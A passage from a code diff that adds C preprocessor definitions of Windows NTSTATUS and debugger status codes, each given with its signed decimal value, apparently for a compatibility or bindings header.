STATUS_HIBERNATED 1073741866 +#define STATUS_RESUME_HIBERNATION 1073741867 +#define STATUS_FIRMWARE_UPDATED 1073741868 +#define STATUS_DRIVERS_LEAKING_LOCKED_PAGES 1073741869 +#define STATUS_MESSAGE_RETRIEVED 1073741870 +#define STATUS_SYSTEM_POWERSTATE_TRANSITION 1073741871 +#define STATUS_ALPC_CHECK_COMPLETION_LIST 1073741872 +#define STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION 1073741873 +#define STATUS_ACCESS_AUDIT_BY_POLICY 1073741874 +#define STATUS_ABANDON_HIBERFILE 1073741875 +#define STATUS_BIZRULES_NOT_ENABLED 1073741876 +#define STATUS_FT_READ_FROM_COPY 1073741877 +#define STATUS_IMAGE_AT_DIFFERENT_BASE 1073741878 +#define STATUS_PATCH_DEFERRED 1073741879 +#define STATUS_EMULATION_BREAKPOINT 1073741880 +#define STATUS_EMULATION_SYSCALL 1073741881 +#define STATUS_EMULATION_FLOAT_EXCEPTION 1073741882 +#define DBG_REPLY_LATER 1073807361 +#define DBG_UNABLE_TO_PROVIDE_HANDLE 1073807362 +#define DBG_TERMINATE_THREAD 1073807363 +#define DBG_TERMINATE_PROCESS 1073807364 +#define DBG_CONTROL_C 1073807365 +#define DBG_PRINTEXCEPTION_C 1073807366 +#define DBG_RIPEXCEPTION 1073807367 +#define DBG_CONTROL_BREAK 1073807368 +#define DBG_COMMAND_EXCEPTION 1073807369 +#define DBG_PRINTEXCEPTION_WIDE_C 1073807370 +#define STATUS_HEURISTIC_DAMAGE_POSSIBLE 1075380225 +#define STATUS_GUARD_PAGE_VIOLATION -2147483647 +#define STATUS_DATATYPE_MISALIGNMENT -2147483646 +#define STATUS_BREAKPOINT -2147483645 +#define STATUS_SINGLE_STEP -2147483644 +#define STATUS_BUFFER_OVERFLOW -2147483643 +#define STATUS_NO_MORE_FILES -2147483642 +#define STATUS_WAKE_SYSTEM_DEBUGGER -2147483641 +#define STATUS_HANDLES_CLOSED -2147483638 +#define STATUS_NO_INHERITANCE -2147483637 +#define STATUS_GUID_SUBSTITUTION_MADE -2147483636 +#define STATUS_PARTIAL_COPY -2147483635 +#define STATUS_DEVICE_PAPER_EMPTY -2147483634 +#define STATUS_DEVICE_POWERED_OFF -2147483633 +#define STATUS_DEVICE_OFF_LINE -2147483632 +#define STATUS_DEVICE_BUSY -2147483631 +#define STATUS_NO_MORE_EAS -2147483630 +#define STATUS_INVALID_EA_NAME -2147483629 +#define STATUS_EA_LIST_INCONSISTENT -2147483628 +#define STATUS_INVALID_EA_FLAG -2147483627 +#define STATUS_VERIFY_REQUIRED -2147483626 +#define STATUS_EXTRANEOUS_INFORMATION -2147483625 +#define STATUS_RXACT_COMMIT_NECESSARY -2147483624 +#define STATUS_NO_MORE_ENTRIES -2147483622 +#define STATUS_FILEMARK_DETECTED -2147483621 +#define STATUS_MEDIA_CHANGED -2147483620 +#define STATUS_BUS_RESET -2147483619 +#define STATUS_END_OF_MEDIA -2147483618 +#define STATUS_BEGINNING_OF_MEDIA -2147483617 +#define STATUS_MEDIA_CHECK -2147483616 +#define STATUS_SETMARK_DETECTED -2147483615 +#define STATUS_NO_DATA_DETECTED -2147483614 +#define STATUS_REDIRECTOR_HAS_OPEN_HANDLES -2147483613 +#define STATUS_SERVER_HAS_OPEN_HANDLES -2147483612 +#define STATUS_ALREADY_DISCONNECTED -2147483611 +#define STATUS_LONGJUMP -2147483610 +#define STATUS_CLEANER_CARTRIDGE_INSTALLED -2147483609 +#define STATUS_PLUGPLAY_QUERY_VETOED -2147483608 +#define STATUS_UNWIND_CONSOLIDATE -2147483607 +#define STATUS_REGISTRY_HIVE_RECOVERED -2147483606 +#define STATUS_DLL_MIGHT_BE_INSECURE -2147483605 +#define STATUS_DLL_MIGHT_BE_INCOMPATIBLE -2147483604 +#define STATUS_STOPPED_ON_SYMLINK -2147483603 +#define STATUS_CANNOT_GRANT_REQUESTED_OPLOCK -2147483602 +#define STATUS_NO_ACE_CONDITION -2147483601 +#define STATUS_DEVICE_SUPPORT_IN_PROGRESS -2147483600 +#define STATUS_DEVICE_POWER_CYCLE_REQUIRED -2147483599 +#define STATUS_NO_WORK_DONE -2147483598 +#define STATUS_RETURN_ADDRESS_HIJACK_ATTEMPT -2147483597 +#define STATUS_RECOVERABLE_BUGCHECK -2147483596 +#define STATUS_PTE_CHANGE_NOT_COMPLETED -2147483595 +#define DBG_EXCEPTION_NOT_HANDLED -2147418111 +#define STATUS_CLUSTER_NODE_ALREADY_UP -2146238463 +#define STATUS_CLUSTER_NODE_ALREADY_DOWN -2146238462 +#define STATUS_CLUSTER_NETWORK_ALREADY_ONLINE -2146238461 +#define STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE -2146238460 +#define STATUS_CLUSTER_NODE_ALREADY_MEMBER -2146238459 +#define STATUS_FLT_BUFFER_TOO_SMALL -2145648639 +#define STATUS_GRAPHICS_LINK_CONFIGURATION_IN_PROGRESS -2145517568 +#define STATUS_FVE_PARTIAL_METADATA -2145320959 +#define STATUS_FVE_TRANSIENT_STATE -2145320958 +#define STATUS_CLOUD_FILE_PROPERTY_BLOB_CHECKSUM_MISMATCH -2147430656 +#define STATUS_UNSUCCESSFUL -1073741823 +#define STATUS_NOT_IMPLEMENTED -1073741822 +#define STATUS_INVALID_INFO_CLASS -1073741821 +#define STATUS_INFO_LENGTH_MISMATCH -1073741820 +#define STATUS_ACCESS_VIOLATION -1073741819 +#define STATUS_IN_PAGE_ERROR -1073741818 +#define STATUS_PAGEFILE_QUOTA -1073741817 +#define STATUS_INVALID_HANDLE -1073741816 +#define STATUS_BAD_INITIAL_STACK -1073741815 +#define STATUS_BAD_INITIAL_PC -1073741814 +#define STATUS_INVALID_CID -1073741813 +#define STATUS_TIMER_NOT_CANCELED -1073741812 +#define STATUS_INVALID_PARAMETER -1073741811 +#define STATUS_NO_SUCH_DEVICE -1073741810 +#define STATUS_NO_SUCH_FILE -1073741809 +#define STATUS_INVALID_DEVICE_REQUEST -1073741808 +#define STATUS_END_OF_FILE -1073741807 +#define STATUS_WRONG_VOLUME -1073741806 +#define STATUS_NO_MEDIA_IN_DEVICE -1073741805 +#define STATUS_UNRECOGNIZED_MEDIA -1073741804 +#define STATUS_NONEXISTENT_SECTOR -1073741803 +#define STATUS_MORE_PROCESSING_REQUIRED -1073741802 +#define STATUS_NO_MEMORY -1073741801 +#define STATUS_CONFLICTING_ADDRESSES -1073741800 +#define STATUS_NOT_MAPPED_VIEW -1073741799 +#define STATUS_UNABLE_TO_FREE_VM -1073741798 +#define STATUS_UNABLE_TO_DELETE_SECTION -1073741797 +#define STATUS_INVALID_SYSTEM_SERVICE -1073741796 +#define STATUS_ILLEGAL_INSTRUCTION -1073741795 +#define STATUS_INVALID_LOCK_SEQUENCE -1073741794 +#define STATUS_INVALID_VIEW_SIZE -1073741793 +#define STATUS_INVALID_FILE_FOR_SECTION -1073741792 +#define STATUS_ALREADY_COMMITTED -1073741791 +#define STATUS_BUFFER_TOO_SMALL -1073741789 +#define STATUS_OBJECT_TYPE_MISMATCH -1073741788 +#define STATUS_NONCONTINUABLE_EXCEPTION -1073741787 +#define STATUS_INVALID_DISPOSITION -1073741786 +#define STATUS_UNWIND -1073741785 +#define STATUS_BAD_STACK -1073741784 +#define STATUS_INVALID_UNWIND_TARGET -1073741783 +#define STATUS_NOT_LOCKED -1073741782 +#define STATUS_PARITY_ERROR -1073741781 +#define STATUS_UNABLE_TO_DECOMMIT_VM -1073741780 +#define STATUS_NOT_COMMITTED -1073741779 +#define STATUS_INVALID_PORT_ATTRIBUTES -1073741778 +#define STATUS_PORT_MESSAGE_TOO_LONG -1073741777 +#define STATUS_INVALID_PARAMETER_MIX -1073741776 +#define STATUS_INVALID_QUOTA_LOWER -1073741775 +#define STATUS_DISK_CORRUPT_ERROR -1073741774 +#define STATUS_OBJECT_NAME_INVALID -1073741773 +#define STATUS_OBJECT_NAME_NOT_FOUND -1073741772 +#define STATUS_OBJECT_NAME_COLLISION -1073741771 +#define STATUS_PORT_DO_NOT_DISTURB -1073741770 +#define STATUS_PORT_DISCONNECTED -1073741769 +#define STATUS_DEVICE_ALREADY_ATTACHED -1073741768 +#define STATUS_OBJECT_PATH_INVALID -1073741767 +#define STATUS_OBJECT_PATH_NOT_FOUND -1073741766 +#define STATUS_OBJECT_PATH_SYNTAX_BAD -1073741765 +#define STATUS_DATA_OVERRUN -1073741764 +#define STATUS_DATA_LATE_ERROR -1073741763 +#define STATUS_DATA_ERROR -1073741762 +#define STATUS_CRC_ERROR -1073741761 +#define STATUS_SECTION_TOO_BIG -1073741760 +#define STATUS_PORT_CONNECTION_REFUSED -1073741759 +#define STATUS_INVALID_PORT_HANDLE -1073741758 +#define STATUS_SHARING_VIOLATION -1073741757 +#define STATUS_QUOTA_EXCEEDED -1073741756 +#define STATUS_INVALID_PAGE_PROTECTION -1073741755 +#define STATUS_MUTANT_NOT_OWNED -1073741754 +#define STATUS_SEMAPHORE_LIMIT_EXCEEDED -1073741753 +#define STATUS_PORT_ALREADY_SET -1073741752 +#define STATUS_SECTION_NOT_IMAGE -1073741751 +#define STATUS_SUSPEND_COUNT_EXCEEDED -1073741750 +#define STATUS_THREAD_IS_TERMINATING -1073741749 +#define STATUS_BAD_WORKING_SET_LIMIT -1073741748 +#define STATUS_INCOMPATIBLE_FILE_MAP -1073741747 +#define STATUS_SECTION_PROTECTION -1073741746 +#define STATUS_EAS_NOT_SUPPORTED -1073741745 +#define STATUS_EA_TOO_LARGE -1073741744 +#define STATUS_NONEXISTENT_EA_ENTRY -1073741743 +#define STATUS_NO_EAS_ON_FILE -1073741742 +#define STATUS_EA_CORRUPT_ERROR -1073741741 +#define STATUS_FILE_LOCK_CONFLICT -1073741740 +#define STATUS_LOCK_NOT_GRANTED -1073741739 +#define STATUS_DELETE_PENDING -1073741738 +#define STATUS_CTL_FILE_NOT_SUPPORTED -1073741737 +#define STATUS_UNKNOWN_REVISION -1073741736 +#define STATUS_REVISION_MISMATCH -1073741735 +#define STATUS_INVALID_OWNER -1073741734 +#define STATUS_INVALID_PRIMARY_GROUP -1073741733 +#define STATUS_NO_IMPERSONATION_TOKEN -1073741732 +#define STATUS_CANT_DISABLE_MANDATORY -1073741731 +#define STATUS_NO_LOGON_SERVERS -1073741730 +#define STATUS_NO_SUCH_PRIVILEGE -1073741728 +#define STATUS_PRIVILEGE_NOT_HELD -1073741727 +#define STATUS_INVALID_ACCOUNT_NAME -1073741726 +#define STATUS_USER_EXISTS -1073741725 +#define STATUS_GROUP_EXISTS -1073741723 +#define STATUS_NO_SUCH_GROUP -1073741722 +#define STATUS_MEMBER_IN_GROUP -1073741721 +#define STATUS_MEMBER_NOT_IN_GROUP -1073741720 +#define STATUS_LAST_ADMIN -1073741719 +#define STATUS_ILL_FORMED_PASSWORD -1073741717 +#define STATUS_PASSWORD_RESTRICTION -1073741716 +#define STATUS_INVALID_LOGON_HOURS -1073741713 +#define STATUS_INVALID_WORKSTATION -1073741712 +#define STATUS_NONE_MAPPED -1073741709 +#define STATUS_TOO_MANY_LUIDS_REQUESTED -1073741708 +#define STATUS_LUIDS_EXHAUSTED -1073741707 +#define STATUS_INVALID_SUB_AUTHORITY -1073741706 +#define STATUS_INVALID_ACL -1073741705 +#define STATUS_INVALID_SID -1073741704 +#define STATUS_INVALID_SECURITY_DESCR -1073741703 +#define STATUS_PROCEDURE_NOT_FOUND -1073741702 +#define STATUS_INVALID_IMAGE_FORMAT -1073741701 +#define STATUS_NO_TOKEN -1073741700 +#define STATUS_BAD_INHERITANCE_ACL -1073741699 +#define STATUS_RANGE_NOT_LOCKED -1073741698 +#define STATUS_DISK_FULL -1073741697 +#define STATUS_SERVER_DISABLED -1073741696 +#define STATUS_SERVER_NOT_DISABLED -1073741695 +#define STATUS_TOO_MANY_GUIDS_REQUESTED -1073741694 +#define STATUS_GUIDS_EXHAUSTED -1073741693 +#define STATUS_INVALID_ID_AUTHORITY -1073741692 +#define STATUS_AGENTS_EXHAUSTED -1073741691 +#define STATUS_INVALID_VOLUME_LABEL -1073741690 +#define STATUS_SECTION_NOT_EXTENDED -1073741689 +#define STATUS_NOT_MAPPED_DATA -1073741688 +#define STATUS_RESOURCE_DATA_NOT_FOUND -1073741687 +#define STATUS_RESOURCE_TYPE_NOT_FOUND -1073741686 +#define STATUS_RESOURCE_NAME_NOT_FOUND -1073741685 +#define STATUS_ARRAY_BOUNDS_EXCEEDED -1073741684 +#define STATUS_FLOAT_DENORMAL_OPERAND -1073741683 +#define STATUS_FLOAT_DIVIDE_BY_ZERO -1073741682 +#define STATUS_FLOAT_INEXACT_RESULT -1073741681 +#define STATUS_FLOAT_INVALID_OPERATION -1073741680 +#define STATUS_FLOAT_OVERFLOW -1073741679 +#define STATUS_FLOAT_STACK_CHECK -1073741678 +#define STATUS_FLOAT_UNDERFLOW -1073741677 +#define STATUS_INTEGER_DIVIDE_BY_ZERO -1073741676 +#define STATUS_INTEGER_OVERFLOW -1073741675 +#define STATUS_PRIVILEGED_INSTRUCTION -1073741674 +#define STATUS_TOO_MANY_PAGING_FILES -1073741673 +#define STATUS_FILE_INVALID -1073741672 +#define STATUS_ALLOTTED_SPACE_EXCEEDED -1073741671 +#define STATUS_INSUFFICIENT_RESOURCES -1073741670 +#define STATUS_DFS_EXIT_PATH_FOUND -1073741669 +#define STATUS_DEVICE_DATA_ERROR -1073741668 +#define STATUS_DEVICE_NOT_CONNECTED -1073741667 +#define STATUS_DEVICE_POWER_FAILURE -1073741666 +#define STATUS_FREE_VM_NOT_AT_BASE -1073741665 +#define STATUS_MEMORY_NOT_ALLOCATED -1073741664 +#define STATUS_WORKING_SET_QUOTA -1073741663 +#define STATUS_MEDIA_WRITE_PROTECTED -1073741662 +#define STATUS_DEVICE_NOT_READY -1073741661 +#define STATUS_INVALID_GROUP_ATTRIBUTES -1073741660 +#define STATUS_BAD_IMPERSONATION_LEVEL -1073741659 +#define STATUS_CANT_OPEN_ANONYMOUS -1073741658 +#define STATUS_BAD_VALIDATION_CLASS -1073741657 +#define STATUS_BAD_TOKEN_TYPE -1073741656 +#define STATUS_BAD_MASTER_BOOT_RECORD -1073741655 +#define STATUS_INSTRUCTION_MISALIGNMENT -1073741654 +#define STATUS_INSTANCE_NOT_AVAILABLE -1073741653 +#define STATUS_PIPE_NOT_AVAILABLE -1073741652 +#define STATUS_INVALID_PIPE_STATE -1073741651 +#define STATUS_PIPE_BUSY -1073741650 +#define STATUS_ILLEGAL_FUNCTION -1073741649 +#define STATUS_PIPE_DISCONNECTED -1073741648 +#define STATUS_PIPE_CLOSING -1073741647 +#define STATUS_PIPE_CONNECTED -1073741646 +#define STATUS_PIPE_LISTENING -1073741645 +#define STATUS_INVALID_READ_MODE -1073741644 +#define STATUS_IO_TIMEOUT -1073741643 +#define STATUS_FILE_FORCED_CLOSED -1073741642 +#define STATUS_PROFILING_NOT_STARTED -1073741641 +#define STATUS_PROFILING_NOT_STOPPED -1073741640 +#define STATUS_COULD_NOT_INTERPRET -1073741639 +#define STATUS_FILE_IS_A_DIRECTORY -1073741638 +#define STATUS_NOT_SUPPORTED -1073741637 +#define STATUS_REMOTE_NOT_LISTENING -1073741636 +#define STATUS_DUPLICATE_NAME -1073741635 +#define STATUS_BAD_NETWORK_PATH -1073741634 +#define STATUS_NETWORK_BUSY -1073741633 +#define STATUS_DEVICE_DOES_NOT_EXIST -1073741632 +#define STATUS_TOO_MANY_COMMANDS -1073741631 +#define STATUS_ADAPTER_HARDWARE_ERROR -1073741630 +#define STATUS_INVALID_NETWORK_RESPONSE -1073741629 +#define STATUS_UNEXPECTED_NETWORK_ERROR -1073741628 +#define STATUS_BAD_REMOTE_ADAPTER -1073741627 +#define STATUS_PRINT_QUEUE_FULL -1073741626 +#define STATUS_NO_SPOOL_SPACE -1073741625 +#define STATUS_PRINT_CANCELLED -1073741624 +#define STATUS_NETWORK_NAME_DELETED -1073741623 +#define STATUS_NETWORK_ACCESS_DENIED -1073741622 +#define STATUS_BAD_DEVICE_TYPE -1073741621 +#define STATUS_BAD_NETWORK_NAME -1073741620 +#define STATUS_TOO_MANY_NAMES -1073741619 +#define STATUS_TOO_MANY_SESSIONS -1073741618 +#define STATUS_SHARING_PAUSED -1073741617 +#define STATUS_REQUEST_NOT_ACCEPTED -1073741616 +#define STATUS_REDIRECTOR_PAUSED -1073741615 +#define STATUS_NET_WRITE_FAULT -1073741614 +#define STATUS_PROFILING_AT_LIMIT -1073741613 +#define STATUS_NOT_SAME_DEVICE -1073741612 +#define STATUS_FILE_RENAMED -1073741611 +#define STATUS_VIRTUAL_CIRCUIT_CLOSED -1073741610 +#define STATUS_NO_SECURITY_ON_OBJECT -1073741609 +#define STATUS_CANT_WAIT -1073741608 +#define STATUS_PIPE_EMPTY -1073741607 +#define STATUS_CANT_ACCESS_DOMAIN_INFO -1073741606 +#define STATUS_CANT_TERMINATE_SELF -1073741605 +#define STATUS_INVALID_SERVER_STATE -1073741604 +#define STATUS_INVALID_DOMAIN_STATE -1073741603 +#define STATUS_INVALID_DOMAIN_ROLE -1073741602 +#define STATUS_NO_SUCH_DOMAIN -1073741601 +#define STATUS_DOMAIN_EXISTS -1073741600 +#define STATUS_DOMAIN_LIMIT_EXCEEDED -1073741599 +#define STATUS_OPLOCK_NOT_GRANTED -1073741598 +#define STATUS_INVALID_OPLOCK_PROTOCOL -1073741597 +#define STATUS_INTERNAL_DB_CORRUPTION -1073741596 +#define STATUS_INTERNAL_ERROR -1073741595 +#define STATUS_GENERIC_NOT_MAPPED -1073741594 +#define STATUS_BAD_DESCRIPTOR_FORMAT -1073741593 +#define STATUS_INVALID_USER_BUFFER -1073741592 +#define STATUS_UNEXPECTED_IO_ERROR -1073741591 +#define STATUS_UNEXPECTED_MM_CREATE_ERR -1073741590 +#define STATUS_UNEXPECTED_MM_MAP_ERROR -1073741589 +#define STATUS_UNEXPECTED_MM_EXTEND_ERR -1073741588 +#define STATUS_NOT_LOGON_PROCESS -1073741587 +#define STATUS_LOGON_SESSION_EXISTS -1073741586 +#define STATUS_INVALID_PARAMETER_1 -1073741585 +#define STATUS_INVALID_PARAMETER_2 -1073741584 +#define STATUS_INVALID_PARAMETER_3 -1073741583 +#define STATUS_INVALID_PARAMETER_4 -1073741582 +#define STATUS_INVALID_PARAMETER_5 -1073741581 +#define STATUS_INVALID_PARAMETER_6 -1073741580 +#define STATUS_INVALID_PARAMETER_7 -1073741579 +#define STATUS_INVALID_PARAMETER_8 -1073741578 +#define STATUS_INVALID_PARAMETER_9 -1073741577 +#define STATUS_INVALID_PARAMETER_10 -1073741576 +#define STATUS_INVALID_PARAMETER_11 -1073741575 +#define STATUS_INVALID_PARAMETER_12 -1073741574 +#define STATUS_REDIRECTOR_NOT_STARTED -1073741573 +#define STATUS_REDIRECTOR_STARTED -1073741572 +#define STATUS_STACK_OVERFLOW -1073741571 +#define STATUS_NO_SUCH_PACKAGE -1073741570 +#define STATUS_BAD_FUNCTION_TABLE -1073741569 +#define STATUS_VARIABLE_NOT_FOUND -1073741568 +#define STATUS_DIRECTORY_NOT_EMPTY -1073741567 +#define STATUS_FILE_CORRUPT_ERROR -1073741566 +#define STATUS_NOT_A_DIRECTORY -1073741565 +#define STATUS_BAD_LOGON_SESSION_STATE -1073741564 +#define STATUS_LOGON_SESSION_COLLISION -1073741563 +#define STATUS_NAME_TOO_LONG -1073741562 +#define STATUS_FILES_OPEN -1073741561 +#define STATUS_CONNECTION_IN_USE -1073741560 +#define STATUS_MESSAGE_NOT_FOUND -1073741559 +#define STATUS_PROCESS_IS_TERMINATING -1073741558 +#define STATUS_INVALID_LOGON_TYPE -1073741557 +#define STATUS_NO_GUID_TRANSLATION -1073741556 +#define STATUS_CANNOT_IMPERSONATE -1073741555 +#define STATUS_IMAGE_ALREADY_LOADED -1073741554 +#define STATUS_ABIOS_NOT_PRESENT -1073741553 +#define STATUS_ABIOS_LID_NOT_EXIST -1073741552 +#define STATUS_ABIOS_LID_ALREADY_OWNED -1073741551 +#define STATUS_ABIOS_NOT_LID_OWNER -1073741550 +#define STATUS_ABIOS_INVALID_COMMAND -1073741549 +#define STATUS_ABIOS_INVALID_LID -1073741548 +#define STATUS_ABIOS_SELECTOR_NOT_AVAILABLE -1073741547 +#define STATUS_ABIOS_INVALID_SELECTOR -1073741546 +#define STATUS_NO_LDT -1073741545 +#define STATUS_INVALID_LDT_SIZE -1073741544 +#define STATUS_INVALID_LDT_OFFSET -1073741543 +#define STATUS_INVALID_LDT_DESCRIPTOR -1073741542 +#define STATUS_INVALID_IMAGE_NE_FORMAT -1073741541 +#define STATUS_RXACT_INVALID_STATE -1073741540 +#define STATUS_RXACT_COMMIT_FAILURE -1073741539 +#define STATUS_MAPPED_FILE_SIZE_ZERO -1073741538 +#define STATUS_TOO_MANY_OPENED_FILES -1073741537 +#define STATUS_CANCELLED -1073741536 +#define STATUS_CANNOT_DELETE -1073741535 +#define STATUS_INVALID_COMPUTER_NAME -1073741534 +#define STATUS_FILE_DELETED -1073741533 +#define STATUS_SPECIAL_ACCOUNT -1073741532 +#define STATUS_SPECIAL_GROUP -1073741531 +#define STATUS_SPECIAL_USER -1073741530 +#define STATUS_MEMBERS_PRIMARY_GROUP -1073741529 +#define STATUS_FILE_CLOSED -1073741528 +#define STATUS_TOO_MANY_THREADS -1073741527 +#define STATUS_THREAD_NOT_IN_PROCESS -1073741526 +#define STATUS_TOKEN_ALREADY_IN_USE -1073741525 +#define STATUS_PAGEFILE_QUOTA_EXCEEDED -1073741524 +#define STATUS_COMMITMENT_LIMIT -1073741523 +#define STATUS_INVALID_IMAGE_LE_FORMAT -1073741522 +#define STATUS_INVALID_IMAGE_NOT_MZ -1073741521 +#define STATUS_INVALID_IMAGE_PROTECT -1073741520 +#define STATUS_INVALID_IMAGE_WIN_16 -1073741519 +#define STATUS_LOGON_SERVER_CONFLICT -1073741518 +#define STATUS_TIME_DIFFERENCE_AT_DC -1073741517 +#define STATUS_SYNCHRONIZATION_REQUIRED -1073741516 +#define STATUS_DLL_NOT_FOUND -1073741515 +#define STATUS_OPEN_FAILED -1073741514 +#define STATUS_IO_PRIVILEGE_FAILED -1073741513 +#define STATUS_ORDINAL_NOT_FOUND -1073741512 +#define STATUS_ENTRYPOINT_NOT_FOUND -1073741511 +#define STATUS_CONTROL_C_EXIT -1073741510 +#define STATUS_LOCAL_DISCONNECT -1073741509 +#define STATUS_REMOTE_DISCONNECT -1073741508 +#define STATUS_REMOTE_RESOURCES -1073741507 +#define STATUS_LINK_FAILED -1073741506 +#define STATUS_LINK_TIMEOUT -1073741505 +#define STATUS_INVALID_CONNECTION -1073741504 +#define STATUS_INVALID_ADDRESS -1073741503 +#define STATUS_DLL_INIT_FAILED -1073741502 +#define STATUS_MISSING_SYSTEMFILE -1073741501 +#define STATUS_UNHANDLED_EXCEPTION -1073741500 +#define STATUS_APP_INIT_FAILURE -1073741499 +#define STATUS_PAGEFILE_CREATE_FAILED -1073741498 +#define STATUS_NO_PAGEFILE -1073741497 +#define STATUS_INVALID_LEVEL -1073741496 +#define STATUS_WRONG_PASSWORD_CORE -1073741495 +#define STATUS_ILLEGAL_FLOAT_CONTEXT -1073741494 +#define STATUS_PIPE_BROKEN -1073741493 +#define STATUS_REGISTRY_CORRUPT -1073741492 +#define STATUS_REGISTRY_IO_FAILED -1073741491 +#define STATUS_NO_EVENT_PAIR -1073741490 +#define STATUS_UNRECOGNIZED_VOLUME -1073741489 +#define STATUS_SERIAL_NO_DEVICE_INITED -1073741488 +#define STATUS_NO_SUCH_ALIAS -1073741487 +#define STATUS_MEMBER_NOT_IN_ALIAS -1073741486 +#define STATUS_MEMBER_IN_ALIAS -1073741485 +#define STATUS_ALIAS_EXISTS -1073741484 +#define STATUS_LOGON_NOT_GRANTED -1073741483 +#define STATUS_TOO_MANY_SECRETS -1073741482 +#define STATUS_SECRET_TOO_LONG -1073741481 +#define STATUS_INTERNAL_DB_ERROR -1073741480 +#define STATUS_FULLSCREEN_MODE -1073741479 +#define STATUS_TOO_MANY_CONTEXT_IDS -1073741478 +#define STATUS_NOT_REGISTRY_FILE -1073741476 +#define STATUS_NT_CROSS_ENCRYPTION_REQUIRED -1073741475 +#define STATUS_DOMAIN_CTRLR_CONFIG_ERROR -1073741474 +#define STATUS_FT_MISSING_MEMBER -1073741473 +#define STATUS_ILL_FORMED_SERVICE_ENTRY -1073741472 +#define STATUS_ILLEGAL_CHARACTER -1073741471 +#define STATUS_UNMAPPABLE_CHARACTER -1073741470 +#define STATUS_UNDEFINED_CHARACTER -1073741469 +#define STATUS_FLOPPY_VOLUME -1073741468 +#define STATUS_FLOPPY_ID_MARK_NOT_FOUND -1073741467 +#define STATUS_FLOPPY_WRONG_CYLINDER -1073741466 +#define STATUS_FLOPPY_UNKNOWN_ERROR -1073741465 +#define STATUS_FLOPPY_BAD_REGISTERS -1073741464 +#define STATUS_DISK_RECALIBRATE_FAILED -1073741463 +#define STATUS_DISK_OPERATION_FAILED -1073741462 +#define STATUS_DISK_RESET_FAILED -1073741461 +#define STATUS_SHARED_IRQ_BUSY -1073741460 +#define STATUS_FT_ORPHANING -1073741459 +#define STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT -1073741458 +#define STATUS_PARTITION_FAILURE -1073741454 +#define STATUS_INVALID_BLOCK_LENGTH -1073741453 +#define STATUS_DEVICE_NOT_PARTITIONED -1073741452 +#define STATUS_UNABLE_TO_LOCK_MEDIA -1073741451 +#define STATUS_UNABLE_TO_UNLOAD_MEDIA -1073741450 +#define STATUS_EOM_OVERFLOW -1073741449 +#define STATUS_NO_MEDIA -1073741448 +#define STATUS_NO_SUCH_MEMBER -1073741446 +#define STATUS_INVALID_MEMBER -1073741445 +#define STATUS_KEY_DELETED -1073741444 +#define STATUS_NO_LOG_SPACE -1073741443 +#define STATUS_TOO_MANY_SIDS -1073741442 +#define STATUS_LM_CROSS_ENCRYPTION_REQUIRED -1073741441 +#define STATUS_KEY_HAS_CHILDREN -1073741440 +#define STATUS_CHILD_MUST_BE_VOLATILE -1073741439 +#define STATUS_DEVICE_CONFIGURATION_ERROR -1073741438 +#define STATUS_DRIVER_INTERNAL_ERROR -1073741437 +#define STATUS_INVALID_DEVICE_STATE -1073741436 +#define STATUS_IO_DEVICE_ERROR -1073741435 +#define STATUS_DEVICE_PROTOCOL_ERROR -1073741434 +#define STATUS_BACKUP_CONTROLLER -1073741433 +#define STATUS_LOG_FILE_FULL -1073741432 +#define STATUS_TOO_LATE -1073741431 +#define STATUS_NO_TRUST_LSA_SECRET -1073741430 +#define STATUS_NO_TRUST_SAM_ACCOUNT -1073741429 +#define STATUS_TRUSTED_DOMAIN_FAILURE -1073741428 +#define STATUS_TRUSTED_RELATIONSHIP_FAILURE -1073741427 +#define STATUS_EVENTLOG_FILE_CORRUPT -1073741426 +#define STATUS_EVENTLOG_CANT_START -1073741425 +#define STATUS_TRUST_FAILURE -1073741424 +#define STATUS_MUTANT_LIMIT_EXCEEDED -1073741423 +#define STATUS_NETLOGON_NOT_STARTED -1073741422 +#define STATUS_POSSIBLE_DEADLOCK -1073741420 +#define STATUS_NETWORK_CREDENTIAL_CONFLICT -1073741419 +#define STATUS_REMOTE_SESSION_LIMIT -1073741418 +#define STATUS_EVENTLOG_FILE_CHANGED -1073741417 +#define STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT -1073741416 +#define STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT -1073741415 +#define STATUS_NOLOGON_SERVER_TRUST_ACCOUNT -1073741414 +#define STATUS_DOMAIN_TRUST_INCONSISTENT -1073741413 +#define STATUS_FS_DRIVER_REQUIRED -1073741412 +#define STATUS_IMAGE_ALREADY_LOADED_AS_DLL -1073741411 +#define STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING -1073741410 +#define STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME -1073741409 +#define STATUS_SECURITY_STREAM_IS_INCONSISTENT -1073741408 +#define STATUS_INVALID_LOCK_RANGE -1073741407 +#define STATUS_INVALID_ACE_CONDITION -1073741406 +#define STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT -1073741405 +#define STATUS_NOTIFICATION_GUID_ALREADY_DEFINED -1073741404 +#define STATUS_INVALID_EXCEPTION_HANDLER -1073741403 +#define STATUS_DUPLICATE_PRIVILEGES -1073741402 +#define STATUS_NOT_ALLOWED_ON_SYSTEM_FILE -1073741401 +#define STATUS_REPAIR_NEEDED -1073741400 +#define STATUS_QUOTA_NOT_ENABLED -1073741399 +#define STATUS_NO_APPLICATION_PACKAGE -1073741398 +#define STATUS_FILE_METADATA_OPTIMIZATION_IN_PROGRESS -1073741397 +#define STATUS_NOT_SAME_OBJECT -1073741396 +#define STATUS_FATAL_MEMORY_EXHAUSTION -1073741395 +#define STATUS_ERROR_PROCESS_NOT_IN_JOB -1073741394 +#define STATUS_CPU_SET_INVALID -1073741393 +#define STATUS_IO_DEVICE_INVALID_DATA -1073741392 +#define STATUS_IO_UNALIGNED_WRITE -1073741391 +#define STATUS_CONTROL_STACK_VIOLATION -1073741390 +#define STATUS_WEAK_WHFBKEY_BLOCKED -1073741389 +#define STATUS_SERVER_TRANSPORT_CONFLICT -1073741388 +#define STATUS_CERTIFICATE_VALIDATION_PREFERENCE_CONFLICT -1073741387 +#define STATUS_DEVICE_RESET_REQUIRED -2147483210 +#define STATUS_NETWORK_OPEN_RESTRICTION -1073741311 +#define STATUS_NO_USER_SESSION_KEY -1073741310 +#define STATUS_USER_SESSION_DELETED -1073741309 +#define STATUS_RESOURCE_LANG_NOT_FOUND -1073741308 +#define 